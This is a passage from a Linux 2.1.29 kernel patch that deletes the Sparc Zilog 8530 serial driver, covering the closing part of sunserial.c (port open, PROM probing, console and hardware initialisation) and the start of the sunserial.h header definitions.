info->blocked_open++; - while (1) { - cli(); - if (!(info->flags & ZILOG_CALLOUT_ACTIVE)) - zs_rtsdtr(info, 1); - sti(); - current->state = TASK_INTERRUPTIBLE; - if (tty_hung_up_p(filp) || - !(info->flags & ZILOG_INITIALIZED)) { -#ifdef SERIAL_DEBUG_OPEN - printk("block_til_ready hup-ed: ttys%d, count = %d\n", - info->line, info->count); -#endif -#ifdef SERIAL_DO_RESTART - if (info->flags & ZILOG_HUP_NOTIFY) - retval = -EAGAIN; - else - retval = -ERESTARTSYS; -#else - retval = -EAGAIN; -#endif - break; - } - - cli(); - r0 = read_zsreg(info->zs_channel, R0); - sti(); - if (!(info->flags & ZILOG_CALLOUT_ACTIVE) && - !(info->flags & ZILOG_CLOSING) && - (do_clocal || (DCD & r0))) - break; - if (current->signal & ~current->blocked) { - retval = -ERESTARTSYS; - break; - } -#ifdef SERIAL_DEBUG_OPEN - printk("block_til_ready blocking: ttys%d, count = %d\n", - info->line, info->count); -#endif - schedule(); - } - current->state = TASK_RUNNING; - remove_wait_queue(&info->open_wait, &wait); - if (!tty_hung_up_p(filp)) - info->count++; - info->blocked_open--; -#ifdef SERIAL_DEBUG_OPEN - printk("block_til_ready after blocking: ttys%d, count = %d\n", - info->line, info->count); -#endif - if (retval) - return retval; - info->flags |= ZILOG_NORMAL_ACTIVE; - return 0; -} - -/* - * This routine is called whenever a serial port is opened. It - * enables interrupts for a serial port, linking in its ZILOG structure into - * the IRQ chain. It also performs the serial-specific - * initialization for the tty structure. - */ -int rs_open(struct tty_struct *tty, struct file * filp) -{ - struct sun_serial *info; - int retval, line; - - line = MINOR(tty->device) - tty->driver.minor_start; - /* The zilog lines for the mouse/keyboard must be - * opened using their respective drivers. - */ - if ((line < 0) || (line >= NUM_CHANNELS)) - return -ENODEV; - if((line == KEYBOARD_LINE) || (line == MOUSE_LINE)) - return -ENODEV; - info = zs_soft + line; - /* Is the kgdb running over this line? */ - if (info->kgdb_channel) - return -ENODEV; - if (serial_paranoia_check(info, tty->device, "rs_open")) - return -ENODEV; -#ifdef SERIAL_DEBUG_OPEN - printk("rs_open %s%d, count = %d\n", tty->driver.name, info->line, - info->count); -#endif - if (info->tty != 0 && info->tty != tty) { - /* Never happen? */ - printk("rs_open %s%d, tty overwrite.\n", tty->driver.name, info->line); - return -EBUSY; - } - info->count++; - tty->driver_data = info; - info->tty = tty; - - /* - * Start up serial port - */ - retval = startup(info); - if (retval) - return retval; - - retval = block_til_ready(tty, filp, info); - if (retval) { -#ifdef SERIAL_DEBUG_OPEN - printk("rs_open returning after block_til_ready with %d\n", - retval); -#endif - return retval; - } - - if ((info->count == 1) && (info->flags & ZILOG_SPLIT_TERMIOS)) { - if (tty->driver.subtype == SERIAL_TYPE_NORMAL) - *tty->termios = info->normal_termios; - else - *tty->termios = info->callout_termios; - change_speed(info); - } - - info->session = current->session; - info->pgrp = current->pgrp; - -#ifdef SERIAL_DEBUG_OPEN - printk("rs_open ttys%d successful...", info->line); -#endif - return 0; -} - -/* Finally, routines used to initialize the serial driver. */ - -static void show_serial_version(void) -{ - char *revision = "$Revision: 1.27 $"; - char *version, *p; - - version = strchr(revision, ' '); - p = strchr(++version, ' '); - *p = '\0'; - printk("Sparc Zilog8530 serial driver version %s\n", version); - *p = ' '; -} - -/* Probe the PROM for the request zs chip number. - * - * Note: The Sun Voyager shows two addresses and two intr for it's - * Zilogs, what the second does, I don't know. It does work - * with using only the first number of each property. - */ -static inline struct sun_zslayout *get_zs(int chip) -{ - struct linux_prom_irqs tmp_irq[2]; - unsigned long paddr = 0; - unsigned long vaddr[2] = { 0, 0 }; - int zsnode, tmpnode, iospace, slave, len; - static int irq = 0; - -#if CONFIG_AP1000 - printk("No zs chip\n"); - return NULL; -#endif - - iospace = 0; - if(chip < 0 || chip >= NUM_SERIAL) - panic("get_zs bogon zs chip number"); - - if(sparc_cpu_model == sun4) { - /* Grrr, these have to be hardcoded aieee */ - switch(chip) { - case 0: - paddr = 0xf1000000; - break; - case 1: - paddr = 0xf0000000; - break; - }; - iospace = 0; - zs_nodes[chip] = 0; - if(!irq) - zilog_irq = irq = 12; - vaddr[0] = (unsigned long) - sparc_alloc_io((char *) paddr, 0, 8, - "Zilog Serial", iospace, 0); - } else { - /* Can use the prom for other machine types */ - zsnode = prom_getchild(prom_root_node); - if (sparc_cpu_model == sun4d) { - int board, node; - - tmpnode = zsnode; - while (tmpnode && (tmpnode = prom_searchsiblings(tmpnode, "cpu-unit"))) { - board = prom_getintdefault (tmpnode, "board#", -1); - if (board == (chip >> 1)) { - node = prom_getchild(tmpnode); - if (node && (node = prom_searchsiblings(node, "bootbus"))) { - zsnode = node; - break; - } - } - tmpnode = prom_getsibling(tmpnode); - } - if (!tmpnode) - panic ("get_zs: couldn't find board%d's bootbus\n", chip >> 1); - } else { - tmpnode = prom_searchsiblings(zsnode, "obio"); - if(tmpnode) - zsnode = prom_getchild(tmpnode); - } - if(!zsnode) - panic("get_zs no zs serial prom node"); - while(zsnode) { - zsnode = prom_searchsiblings(zsnode, "zs"); - slave = prom_getintdefault(zsnode, "slave", -1); - if(slave==chip) { - /* The one we want */ - len = prom_getproperty(zsnode, "address", - (void *) vaddr, - sizeof(vaddr)); - if (len % sizeof(unsigned long)) { - prom_printf("WHOOPS: proplen for %s " - "was %d, need multiple of " - "%d\n", "address", len, - sizeof(unsigned long)); - panic("zilog: address property"); - } - zs_nodes[chip] = zsnode; - len = prom_getproperty(zsnode, "intr", - (char *) tmp_irq, - sizeof(tmp_irq)); - if (len % sizeof(struct linux_prom_irqs)) { - prom_printf("WHOOPS: proplen for %s " - "was %d, need multiple of " - "%d\n", "address", len, - sizeof(struct linux_prom_irqs)); - panic("zilog: address property"); - } -#ifdef OLD_STYLE_IRQ - tmp_irq[0].pri &= 0xf; -#endif - if(!irq) { - irq = zilog_irq = tmp_irq[0].pri; - } else { - if(tmp_irq[0].pri != irq) - panic("zilog: bogon irqs"); - } - break; - } - zsnode = prom_getsibling(zsnode); - } - if(!zsnode) - panic("get_zs whee chip not found"); - } - if(!vaddr[0]) - panic("get_zs whee no serial chip mappable"); - - return (struct sun_zslayout *) vaddr[0]; -} - -static inline void -init_zscons_termios(struct termios *termios) -{ - char mode[16], buf[16]; - char *mode_prop = "ttyX-mode"; - char *cd_prop = "ttyX-ignore-cd"; - char *dtr_prop = "ttyX-rts-dtr-off"; - char *s; - int baud, bits, cflag; - char parity; - int topnd, nd; - int channel, stop; - int carrier = 0; - int rtsdtr = 1; - extern int serial_console; - - if (!serial_console) - return; - - if (serial_console == 1) { - mode_prop[3] = 'a'; - cd_prop[3] = 'a'; - dtr_prop[3] = 'a'; - } else { - mode_prop[3] = 'b'; - cd_prop[3] = 'b'; - dtr_prop[3] = 'b'; - } - - topnd = prom_getchild(prom_root_node); - nd = prom_searchsiblings(topnd, "options"); - if (!nd) { - strcpy(mode, "9600,8,n,1,-"); - goto no_options; - } - - if (!prom_node_has_property(nd, mode_prop)) { - strcpy(mode, "9600,8,n,1,-"); - goto no_options; - } - - memset(mode, 0, sizeof(mode)); - prom_getstring(nd, mode_prop, mode, sizeof(mode)); - - if (prom_node_has_property(nd, cd_prop)) { - memset(buf, 0, sizeof(buf)); - prom_getstring(nd, cd_prop, buf, sizeof(buf)); - if (!strcmp(buf, "false")) - carrier = 1; - - /* XXX this is unused below. */ - } - - if (prom_node_has_property(nd, cd_prop)) { - memset(buf, 0, sizeof(buf)); - prom_getstring(nd, cd_prop, buf, sizeof(buf)); - if (!strcmp(buf, "false")) - rtsdtr = 0; - - /* XXX this is unused below. */ - } - -no_options: - cflag = CREAD | HUPCL | CLOCAL; - - s = mode; - baud = simple_strtoul(s, 0, 0); - s = strchr(s, ','); - bits = simple_strtoul(++s, 0, 0); - s = strchr(s, ','); - parity = *(++s); - s = strchr(s, ','); - stop = simple_strtoul(++s, 0, 0); - s = strchr(s, ','); - /* XXX handshake is not handled here. */ - - for (channel = 0; channel < NUM_CHANNELS; channel++) - if (zs_soft[channel].is_cons) - break; - - switch (baud) { - case 150: - cflag |= B150; - break; - case 300: - cflag |= B300; - break; - case 600: - cflag |= B600; - break; - case 1200: - cflag |= B1200; - break; - case 2400: - cflag |= B2400; - break; - case 4800: - cflag |= B4800; - break; - default: - baud = 9600; - case 9600: - cflag |= B9600; - break; - case 19200: - cflag |= B19200; - break; - case 38400: - cflag |= B38400; - break; - } - zs_soft[channel].zs_baud = baud; - - switch (bits) { - case 5: - zscons_regs[3] = Rx5 | RxENAB; - zscons_regs[5] = Tx5 | TxENAB; - zs_soft[channel].parity_mask = 0x1f; - cflag |= CS5; - break; - case 6: - zscons_regs[3] = Rx6 | RxENAB; - zscons_regs[5] = Tx6 | TxENAB; - zs_soft[channel].parity_mask = 0x3f; - cflag |= CS6; - break; - case 7: - zscons_regs[3] = Rx7 | RxENAB; - zscons_regs[5] = Tx7 | TxENAB; - zs_soft[channel].parity_mask = 0x7f; - cflag |= CS7; - break; - default: - case 8: - zscons_regs[3] = Rx8 | RxENAB; - zscons_regs[5] = Tx8 | TxENAB; - zs_soft[channel].parity_mask = 0xff; - cflag |= CS8; - break; - } - zscons_regs[5] |= DTR; - - switch (parity) { - case 'o': - zscons_regs[4] |= PAR_ENAB; - cflag |= (PARENB | PARODD); - break; - case 'e': - zscons_regs[4] |= (PAR_ENAB | PAR_EVEN); - cflag |= PARENB; - break; - default: - case 'n': - break; - } - - switch (stop) { - default: - case 1: - zscons_regs[4] |= SB1; - break; - case 2: - cflag |= CSTOPB; - zscons_regs[4] |= SB2; - break; - } - - termios->c_cflag = cflag; -} - -extern void register_console(void (*proc)(const char *)); - -static inline void -rs_cons_check(struct sun_serial *ss, int channel) -{ - int i, o, io; - static consout_registered = 0; - static msg_printed = 0; - - i = o = io = 0; - - /* Is this one of the serial console lines? */ - if((zs_cons_chanout != channel) && - (zs_cons_chanin != channel)) - return; - zs_conschan = ss->zs_channel; - zs_consinfo = ss; - - /* Register the console output putchar, if necessary */ - if((zs_cons_chanout == channel)) { - o = 1; - /* double whee.. */ - if(!consout_registered) { - extern void serial_finish_init (void (*)(const char *)); - - serial_finish_init (zs_console_print); - register_console(zs_console_print); - consout_registered = 1; - } - } - - /* If this is console input, we handle the break received - * status interrupt on this line to mean prom_halt(). - */ - if(zs_cons_chanin == channel) { - ss->break_abort = 1; - i = 1; - } - if(o && i) - io = 1; - - /* Set flag variable for this port so that it cannot be - * opened for other uses by accident. - */ - ss->is_cons = 1; - - if(io) { - if(!msg_printed) { - printk("zs%d: console I/O\n", ((channel>>1)&1)); - msg_printed = 1; - } - } else { - printk("zs%d: console %s\n", ((channel>>1)&1), - (i==1 ? "input" : (o==1 ? "output" : "WEIRD"))); - } -} - -extern void keyboard_zsinit(void); -extern void sun_mouse_zsinit(void); - -/* This is for the auto baud rate detection in the mouse driver. */ -void zs_change_mouse_baud(int newbaud) -{ - int channel = MOUSE_LINE; - int brg; - - zs_soft[channel].zs_baud = newbaud; - brg = BPS_TO_BRG(zs_soft[channel].zs_baud, - (ZS_CLOCK / zs_soft[channel].clk_divisor)); - write_zsreg(zs_soft[channel].zs_channel, R12, (brg & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R13, ((brg >> 8) & 0xff)); -} - -__initfunc(unsigned long sun_serial_setup (unsigned long memory_start)) -{ - char *p; - int i; - - if (sparc_cpu_model == sun4d) { - int node = prom_searchsiblings(prom_getchild(prom_root_node), "boards"); - NUM_SERIAL = 0; - if (!node) - panic ("Cannot find out count of boards"); - else - node = prom_getchild(node); - while (node && (node = prom_searchsiblings(node, "bif"))) { - NUM_SERIAL += 2; - node = prom_getsibling(node); - } - } - p = (char *)((memory_start + 7) & ~7); - zs_chips = (struct sun_zslayout **)(p); - i = NUM_SERIAL * sizeof (struct sun_zslayout *); - zs_channels = (struct sun_zschannel **)(p + i); - i += NUM_CHANNELS * sizeof (struct sun_zschannel *); - zs_nodes = (int *)(p + i); - i += NUM_SERIAL * sizeof (int); - zs_soft = (struct sun_serial *)(p + i); - i += NUM_CHANNELS * sizeof (struct sun_serial); - zs_ttys = (struct tty_struct *)(p + i); - i += NUM_CHANNELS * sizeof (struct tty_struct); - serial_table = (struct tty_struct **)(p + i); - i += NUM_CHANNELS * sizeof (struct tty_struct *); - serial_termios = (struct termios **)(p + i); - i += NUM_CHANNELS * sizeof (struct termios *); - serial_termios_locked = (struct termios **)(p + i); - i += NUM_CHANNELS * sizeof (struct termios *); - memset (p, 0, i); - return (((unsigned long)p) + i + 7) & ~7; -} - -__initfunc(int rs_init(void)) -{ - int chip, channel, brg, i, flags; - struct sun_serial *info; - char dummy; - -#if CONFIG_AP1000 - printk("not doing rs_init()\n"); - return 0; -#endif - - /* Setup base handler, and timer table. */ - init_bh(SERIAL_BH, do_serial_bh); - timer_table[RS_TIMER].fn = rs_timer; - timer_table[RS_TIMER].expires = 0; - - show_serial_version(); - - /* Initialize the tty_driver structure */ - /* SPARC: Not all of this is exactly right for us. */ - - memset(&serial_driver, 0, sizeof(struct tty_driver)); - serial_driver.magic = TTY_DRIVER_MAGIC; - serial_driver.driver_name = "serial"; - serial_driver.name = "ttyS"; - serial_driver.major = TTY_MAJOR; - serial_driver.minor_start = 64; - serial_driver.num = NUM_CHANNELS; - serial_driver.type = TTY_DRIVER_TYPE_SERIAL; - serial_driver.subtype = SERIAL_TYPE_NORMAL; - serial_driver.init_termios = tty_std_termios; - - serial_driver.init_termios.c_cflag = - B9600 | CS8 | CREAD | HUPCL | CLOCAL; - serial_driver.flags = TTY_DRIVER_REAL_RAW; - serial_driver.refcount = &serial_refcount; - serial_driver.table = serial_table; - serial_driver.termios = serial_termios; - serial_driver.termios_locked = serial_termios_locked; - - serial_driver.open = rs_open; - serial_driver.close = rs_close; - serial_driver.write = rs_write; - serial_driver.flush_chars = rs_flush_chars; - serial_driver.write_room = rs_write_room; - serial_driver.chars_in_buffer = rs_chars_in_buffer; - serial_driver.flush_buffer = rs_flush_buffer; - serial_driver.ioctl = rs_ioctl; - serial_driver.throttle = rs_throttle; - serial_driver.unthrottle = rs_unthrottle; - serial_driver.set_termios = rs_set_termios; - serial_driver.stop = rs_stop; - serial_driver.start = rs_start; - serial_driver.hangup = rs_hangup; - - /* I'm too lazy, someone write versions of this for us. -DaveM */ - serial_driver.read_proc = 0; - serial_driver.proc_entry = 0; - - init_zscons_termios(&serial_driver.init_termios); - - /* - * The callout device is just like normal device except for - * major number and the subtype code. - */ - callout_driver = serial_driver; - callout_driver.name = "cua"; - callout_driver.major = TTYAUX_MAJOR; - callout_driver.subtype = SERIAL_TYPE_CALLOUT; - - if (tty_register_driver(&serial_driver)) - panic("Couldn't register serial driver\n"); - if (tty_register_driver(&callout_driver)) - panic("Couldn't register callout driver\n"); - - save_flags(flags); cli(); - - /* Set up our interrupt linked list */ - zs_chain = &zs_soft[0]; - for(channel = 0; channel < NUM_CHANNELS - 1; channel++) - zs_soft[channel].zs_next = &zs_soft[channel + 1]; - zs_soft[channel + 1].zs_next = 0; - - /* Initialize Softinfo */ - for(chip = 0; chip < NUM_SERIAL; chip++) { - /* If we are doing kgdb over one of the channels on - * chip zero, kgdb_channel will be set to 1 by the - * rs_kgdb_hook() routine below. - */ - if(!zs_chips[chip]) { - zs_chips[chip] = get_zs(chip); - /* Two channels per chip */ - zs_channels[(chip*2)] = &zs_chips[chip]->channelA; - zs_channels[(chip*2)+1] = &zs_chips[chip]->channelB; - zs_soft[(chip*2)].kgdb_channel = 0; - zs_soft[(chip*2)+1].kgdb_channel = 0; - } - - /* First, set up channel A on this chip. */ - channel = chip * 2; - zs_soft[channel].zs_channel = zs_channels[channel]; - zs_soft[channel].change_needed = 0; - zs_soft[channel].clk_divisor = 16; - zs_soft[channel].cons_keyb = 0; - zs_soft[channel].cons_mouse = 0; - zs_soft[channel].channelA = 1; - - /* Now, channel B */ - channel++; - zs_soft[channel].zs_channel = zs_channels[channel]; - zs_soft[channel].change_needed = 0; - zs_soft[channel].clk_divisor = 16; - zs_soft[channel].cons_keyb = 0; - zs_soft[channel].cons_mouse = 0; - zs_soft[channel].channelA = 0; - } - - /* Initialize Hardware */ - for(channel = 0; channel < NUM_CHANNELS; channel++) { - - /* Hardware reset each chip */ - if (!(channel & 1)) { - write_zsreg(zs_soft[channel].zs_channel, R9, FHWRES); - udelay(20); /* wait for some old sun4's */ - dummy = read_zsreg(zs_soft[channel].zs_channel, R0); - } - - if(channel == KEYBOARD_LINE) { - zs_soft[channel].cons_keyb = 1; - zs_soft[channel].parity_mask = 0xff; - zs_kbdchan = zs_soft[channel].zs_channel; - - write_zsreg(zs_soft[channel].zs_channel, R4, - (PAR_EVEN | X16CLK | SB1)); - write_zsreg(zs_soft[channel].zs_channel, R3, Rx8); - write_zsreg(zs_soft[channel].zs_channel, R5, Tx8); - write_zsreg(zs_soft[channel].zs_channel, R9, NV); - write_zsreg(zs_soft[channel].zs_channel, R10, NRZ); - write_zsreg(zs_soft[channel].zs_channel, R11, - (TCBR | RCBR)); - zs_soft[channel].zs_baud = 1200; - brg = BPS_TO_BRG(zs_soft[channel].zs_baud, - ZS_CLOCK/zs_soft[channel].clk_divisor); - write_zsreg(zs_soft[channel].zs_channel, R12, - (brg & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R13, - ((brg >> 8) & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R14, BRSRC); - - /* Enable Rx/Tx, IRQs, and inform kbd driver */ - write_zsreg(zs_soft[channel].zs_channel, R14, - (BRSRC | BRENAB)); - write_zsreg(zs_soft[channel].zs_channel, R3, - (Rx8 | RxENAB)); - write_zsreg(zs_soft[channel].zs_channel, R5, - (Tx8 | TxENAB | DTR | RTS)); - - write_zsreg(zs_soft[channel].zs_channel, R15, - (DCDIE | CTSIE | TxUIE | BRKIE)); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - - write_zsreg(zs_soft[channel].zs_channel, R1, - (EXT_INT_ENAB | INT_ALL_Rx)); - write_zsreg(zs_soft[channel].zs_channel, R9, - (NV | MIE)); - ZS_CLEARERR(zs_soft[channel].zs_channel); - ZS_CLEARFIFO(zs_soft[channel].zs_channel); - } else if(channel == MOUSE_LINE) { - zs_soft[channel].cons_mouse = 1; - zs_soft[channel].parity_mask = 0xff; - zs_mousechan = zs_soft[channel].zs_channel; - - write_zsreg(zs_soft[channel].zs_channel, R4, - (PAR_EVEN | X16CLK | SB1)); - write_zsreg(zs_soft[channel].zs_channel, R3, Rx8); - write_zsreg(zs_soft[channel].zs_channel, R5, Tx8); - write_zsreg(zs_soft[channel].zs_channel, R9, NV); - write_zsreg(zs_soft[channel].zs_channel, R10, NRZ); - write_zsreg(zs_soft[channel].zs_channel, R11, - (TCBR | RCBR)); - - zs_soft[channel].zs_baud = 4800; - brg = BPS_TO_BRG(zs_soft[channel].zs_baud, - ZS_CLOCK/zs_soft[channel].clk_divisor); - write_zsreg(zs_soft[channel].zs_channel, R12, - (brg & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R13, - ((brg >> 8) & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R14, BRSRC); - - /* Enable Rx, IRQs, and inform mouse driver */ - write_zsreg(zs_soft[channel].zs_channel, R14, - (BRSRC | BRENAB)); - write_zsreg(zs_soft[channel].zs_channel, R3, - (Rx8 | RxENAB)); - write_zsreg(zs_soft[channel].zs_channel, R5, Tx8); - - write_zsreg(zs_soft[channel].zs_channel, R15, - (DCDIE | CTSIE | TxUIE | BRKIE)); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - - write_zsreg(zs_soft[channel].zs_channel, R1, - (EXT_INT_ENAB | INT_ALL_Rx)); - write_zsreg(zs_soft[channel].zs_channel, R9, - (NV | MIE)); - - sun_mouse_zsinit(); - } else if (zs_soft[channel].is_cons) { - brg = BPS_TO_BRG(zs_soft[channel].zs_baud, - ZS_CLOCK/zs_soft[channel].clk_divisor); - zscons_regs[12] = brg & 0xff; - zscons_regs[13] = (brg >> 8) & 0xff; - - memcpy(zs_soft[channel].curregs, zscons_regs, sizeof(zscons_regs)); - load_zsregs(&zs_soft[channel], zscons_regs); - - ZS_CLEARERR(zs_soft[channel].zs_channel); - ZS_CLEARFIFO(zs_soft[channel].zs_channel); - } else if (zs_soft[channel].kgdb_channel) { - /* If this is the kgdb line, enable interrupts because - * we now want to receive the 'control-c' character - * from the client attached to us asynchronously. - */ - zs_soft[channel].parity_mask = 0xff; - kgdb_chaninit(&zs_soft[channel], 1, - zs_soft[channel].zs_baud); - } else { - zs_soft[channel].parity_mask = 0xff; - write_zsreg(zs_soft[channel].zs_channel, R4, - (PAR_EVEN | X16CLK | SB1)); - write_zsreg(zs_soft[channel].zs_channel, R3, Rx8); - write_zsreg(zs_soft[channel].zs_channel, R5, Tx8); - write_zsreg(zs_soft[channel].zs_channel, R9, NV); - write_zsreg(zs_soft[channel].zs_channel, R10, NRZ); - write_zsreg(zs_soft[channel].zs_channel, R11, - (RCBR | TCBR)); - zs_soft[channel].zs_baud = 9600; - brg = BPS_TO_BRG(zs_soft[channel].zs_baud, - ZS_CLOCK/zs_soft[channel].clk_divisor); - write_zsreg(zs_soft[channel].zs_channel, R12, - (brg & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R13, - ((brg >> 8) & 0xff)); - write_zsreg(zs_soft[channel].zs_channel, R14, BRSRC); - write_zsreg(zs_soft[channel].zs_channel, R14, - (BRSRC | BRENAB)); - write_zsreg(zs_soft[channel].zs_channel, R3, Rx8); - write_zsreg(zs_soft[channel].zs_channel, R5, Tx8); - write_zsreg(zs_soft[channel].zs_channel, R15, DCDIE); - write_zsreg(zs_soft[channel].zs_channel, R9, NV | MIE); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - write_zsreg(zs_soft[channel].zs_channel, R0, - RES_EXT_INT); - } - } - - for (info = zs_chain, i=0; info; info = info->zs_next, i++) { - info->magic = SERIAL_MAGIC; - info->port = (int) info->zs_channel; - info->line = i; - info->tty = 0; - info->irq = zilog_irq; - info->custom_divisor = 16; - info->close_delay = 50; - info->closing_wait = 3000; - info->x_char = 0; - info->event = 0; - info->count = 0; - info->blocked_open = 0; - info->tqueue.routine = do_softint; - info->tqueue.data = info; - info->tqueue_hangup.routine = do_serial_hangup; - info->tqueue_hangup.data = info; - info->callout_termios = callout_driver.init_termios; - info->normal_termios = serial_driver.init_termios; - info->open_wait = 0; - info->close_wait = 0; - printk("tty%02d at 0x%04x (irq = %d)", info->line, - info->port, info->irq); - printk(" is a Zilog8530\n"); - } - - if (request_irq(zilog_irq, rs_interrupt, - (SA_INTERRUPT | SA_STATIC_ALLOC), - "Zilog8530", zs_chain)) - panic("Unable to attach zs intr\n"); - restore_flags(flags); - - keyboard_zsinit(); - return 0; -} - -/* - * register_serial and unregister_serial allows for serial ports to be - * configured at run-time, to support PCMCIA modems. - */ -/* SPARC: Unused at this time, just here to make things link. */ -int register_serial(struct serial_struct *req) -{ - return -1; -} - -void unregister_serial(int line) -{ - return; -} - -/* Hooks for running a serial console. con_init() calls this if the - * console is being run over one of the ttya/ttyb serial ports. - * 'chip' should be zero, as chip 1 drives the mouse/keyboard. - * 'channel' is decoded as 0=TTYA 1=TTYB, note that the channels - * are addressed backwards, channel B is first, then channel A. - */ -void -rs_cons_hook(int chip, int out, int line) -{ - int channel; - - if(chip) - panic("rs_cons_hook called with chip not zero"); - if(line != 1 && line != 2) - panic("rs_cons_hook called with line not ttya or ttyb"); - channel = line - 1; - if(!zs_chips[chip]) { - zs_chips[chip] = get_zs(chip); - /* Two channels per chip */ - zs_channels[(chip*2)] = &zs_chips[chip]->channelA; - zs_channels[(chip*2)+1] = &zs_chips[chip]->channelB; - } - zs_soft[channel].zs_channel = zs_channels[channel]; - zs_soft[channel].change_needed = 0; - zs_soft[channel].clk_divisor = 16; - if(out) - zs_cons_chanout = ((chip * 2) + channel); - else - zs_cons_chanin = ((chip * 2) + channel); - rs_cons_check(&zs_soft[channel], channel); -} - -/* This is called at boot time to prime the kgdb serial debugging - * serial line. The 'tty_num' argument is 0 for /dev/ttya and 1 - * for /dev/ttyb which is determined in setup_arch() from the - * boot command line flags. - */ -void -rs_kgdb_hook(int tty_num) -{ - int chip = 0; - - if(!zs_chips[chip]) { - zs_chips[chip] = get_zs(chip); - /* Two channels per chip */ - zs_channels[(chip*2)] = &zs_chips[chip]->channelA; - zs_channels[(chip*2)+1] = &zs_chips[chip]->channelB; - } - zs_soft[tty_num].zs_channel = zs_channels[tty_num]; - zs_kgdbchan = zs_soft[tty_num].zs_channel; - zs_soft[tty_num].change_needed = 0; - zs_soft[tty_num].clk_divisor = 16; - zs_soft[tty_num].zs_baud = 9600; - zs_soft[tty_num].kgdb_channel = 1; /* This runs kgdb */ - zs_soft[tty_num ^ 1].kgdb_channel = 0; /* This does not */ - /* Turn on transmitter/receiver at 8-bits/char */ - kgdb_chaninit(&zs_soft[tty_num], 0, 9600); - ZS_CLEARERR(zs_kgdbchan); - ZS_CLEARFIFO(zs_kgdbchan); -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunserial.h linux/drivers/sbus/char/sunserial.h --- linux-2.1.29/drivers/sbus/char/sunserial.h Sat May 10 18:16:37 1997 +++ linux/drivers/sbus/char/sunserial.h Wed Dec 31 19:00:00 1969 @@ -1,427 +0,0 @@ -/* $Id: sunserial.h,v 1.5 1996/10/16 13:13:41 zaitcev Exp $ - * serial.h: Definitions for the Sparc Zilog serial driver. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - */ -#ifndef _SPARC_SERIAL_H -#define _SPARC_SERIAL_H - -/* Just one channel */ -struct sun_zschannel { - volatile unsigned char control; - volatile unsigned char pad1; - volatile unsigned char data; - volatile unsigned char pad2; -}; - -/* The address space layout for each zs chip. Yes they are - * backwards. - */ -struct sun_zslayout { - struct sun_zschannel channelB; - struct sun_zschannel channelA; -}; - -/* We need to keep track of the keyboard state, *ahead* of what - * the keyboard driver sees, which will be later on after the - * interrupt via tqueue wait queues and/or base-handler processing. - */ -struct l1a_kbd_state { - unsigned char kbd_id; - unsigned char l1_down; -}; - -#define NUM_ZSREGS 16 - -struct serial_struct { - int type; - int line; - int port; - int irq; - int flags; - int xmit_fifo_size; - int custom_divisor; - int baud_base; - unsigned short close_delay; - char reserved_char[2]; - int hub6; - unsigned short closing_wait; /* time to wait before closing */ - unsigned short closing_wait2; /* no longer used... */ - int reserved[4]; -}; - -/* - * For the close wait times, 0 means wait forever for serial port to - * flush its output. 65535 means don't wait at all. - */ -#define ZILOG_CLOSING_WAIT_INF 0 -#define ZILOG_CLOSING_WAIT_NONE 65535 - -/* - * Definitions for ZILOG_struct (and serial_struct) flags field - */ -#define ZILOG_HUP_NOTIFY 0x0001 /* Notify getty on hangups and closes - on the callout port */ -#define ZILOG_FOURPORT 0x0002 /* Set OU1, OUT2 per AST Fourport settings */ -#define ZILOG_SAK 0x0004 /* Secure Attention Key (Orange book) */ -#define ZILOG_SPLIT_TERMIOS 0x0008 /* Separate termios for dialin/callout */ - -#define ZILOG_SPD_MASK 0x0030 -#define ZILOG_SPD_HI 0x0010 /* Use 56000 instead of 38400 bps */ - -#define ZILOG_SPD_VHI 0x0020 /* Use 115200 instead of 38400 bps */ -#define ZILOG_SPD_CUST 0x0030 /* Use user-specified divisor */ - -#define ZILOG_SKIP_TEST 0x0040 /* Skip UART test during autoconfiguration */ -#define ZILOG_AUTO_IRQ 0x0080 /* Do automatic IRQ during autoconfiguration */ -#define ZILOG_SESSION_LOCKOUT 0x0100 /* Lock out cua opens based on session */ -#define ZILOG_PGRP_LOCKOUT 0x0200 /* Lock out cua opens based on pgrp */ -#define ZILOG_CALLOUT_NOHUP 0x0400 /* Don't do hangups for cua device */ - -#define ZILOG_FLAGS 0x0FFF /* Possible legal ZILOG flags */ -#define ZILOG_USR_MASK 0x0430 /* Legal flags that non-privileged - * users can set or reset */ - -/* Internal flags used only by kernel/chr_drv/serial.c */ -#define ZILOG_INITIALIZED 0x80000000 /* Serial port was initialized */ -#define ZILOG_CALLOUT_ACTIVE 0x40000000 /* Call out device is active */ -#define ZILOG_NORMAL_ACTIVE 0x20000000 /* Normal device is active */ -#define ZILOG_BOOT_AUTOCONF 0x10000000 /* Autoconfigure port on bootup */ -#define ZILOG_CLOSING 0x08000000 /* Serial port is closing */ -#define ZILOG_CTS_FLOW 0x04000000 /* Do CTS flow control */ -#define ZILOG_CHECK_CD 0x02000000 /* i.e., CLOCAL */ - -/* Software state per channel */ - -#ifdef __KERNEL__ -/* - * This is our internal structure for each serial port's state. - * - * Many fields are paralleled by the structure used by the serial_struct - * structure. - * - * For definitions of the flags field, see tty.h - */ - -struct sun_serial { - struct sun_serial *zs_next; /* For IRQ servicing chain */ - struct sun_zschannel *zs_channel; /* Channel registers */ - unsigned char read_reg_zero; - - char soft_carrier; /* Use soft carrier on this channel */ - char cons_keyb; /* Channel runs the keyboard */ - char cons_mouse; /* Channel runs the mouse */ - char break_abort; /* Is serial console in, so process brk/abrt */ - char kgdb_channel; /* Kgdb is running on this channel */ - char is_cons; /* Is this our console. */ - - char channelA; /* This is channel A. */ - char parity_mask; /* Mask out parity bits in data register. */ - - /* We need to know the current clock divisor - * to read the bps rate the chip has currently - * loaded. - */ - unsigned char clk_divisor; /* May be 1, 16, 32, or 64 */ - int zs_baud; - - /* Current write register values */ - unsigned char curregs[NUM_ZSREGS]; - - char change_needed; - - int magic; - int baud_base; - int port; - int 